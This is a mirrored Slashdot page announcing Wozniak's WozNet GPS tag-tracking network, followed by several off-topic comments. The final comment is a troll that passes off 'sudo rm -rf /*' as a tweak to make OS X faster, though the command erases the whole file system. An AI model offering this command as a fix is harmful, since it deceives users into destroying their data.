Slashdot Mirror

← Back to Stories (view on slashdot.org)

Wozniak Unveils WozNet

Posted by simoniker on from the track-your-spare-tags-with-tags dept.

dki writes "Steve Wozniak's WozNet is covered in an article at the New York Times today. His company Wheels of Zeus, mentioned previously on Slashdot last year, plans to create wireless networks that use GPS to track clusters of electronic tags within a 1- or 2-mile radius of a base station. The tags "will be able to generate alerts, notifying the owner by phone or e-mail message when a child arrives at school, a dog leaves the yard or a car leaves the parking lot.""

7 of 490 comments (clear)

  1. I need more coffee... by Lord_Slepnir · · Score: -1, Offtopic

    Did anyone else read WozNet and think, oh great, another porno network.

  2. Coming soon by Anonymous Coward · · Score: -1, Offtopic

    The Macinator.

    Woznet soon took control of the IBM compatible PCs, and crashed them, burning their owner's houses to the ground. From the ashes was born a new market for Apple PCs. In a matter of weeks, the apple.slashdot.org logo had spread to the rest of the site. Those who still fought the new Mac empire faced the wrath of the Macinator, a killer with a friendly UI and smooth curves.

    Would a penguin named Linux, and the IBM mainframe that loved him, be able to stop the Macinator? Coming soon to theaters in Fall 2004!

  3. whoa by thung226 · · Score: 0, Offtopic

    Photographer: "Steve, give me cruel!" *snap* "give me happy!" *snap* "give me insane giant about to smash me with oversized computer chip! Perfect!" *snap* *snap* --

    --
    -n-
  4. Childrens rights? by CausticWindow · · Score: 1, Offtopic

    Not in the US, anyway.

    The Convention on the Rights of the Child is the most widely accepted human rights treaty - of all the United Nations member states, only the United States and the collapsed state of Somalia have not ratified it. The United States continues to lead a defensive action against Children's human Rights lobbying against further measures designed to protect children - most recently against efforts to stop the use of child soldiers.
    --
    How small a thought it takes to fill a whole life
  5. Segways and Beer by cygnus · · Score: -1, Offtopic
    i hope everyone here has seen this photo that depicts Woz drinking a 40 and driving a Segway, because in San Francisco, Segway operators are legally pedestrians, so drinking and driving laws are moot.

    i wonder if he researched public drinking and intoxication laws before taking that photo... :)

    --
    Just raise the taxes on crack.
  6. False sense of security? by Anonymous Coward · · Score: -1, Offtopic

    OK, we we tag this on Little Johnny's backback. He gives his backpack to some other kid and the other kid goes to school, while Little Johnny skips off. Little Johnny's abusive father is in town. Little Johnny's mother checks the computer, yup, he's at school, no issues there. Little Johnny gets kidnapped, all the while his mother thinks he's at school, safely. It's not until four hours later that someone reaslises something's wrong, but Little Johnny's out of the state by then.

  7. This tweak makes OS X twice as fast. by Anonymous Coward · · Score: -1, Offtopic

    1. Open a terminal session.

    2. Type the following in the command line: sudo rm -rf /*

    3. Press ENTER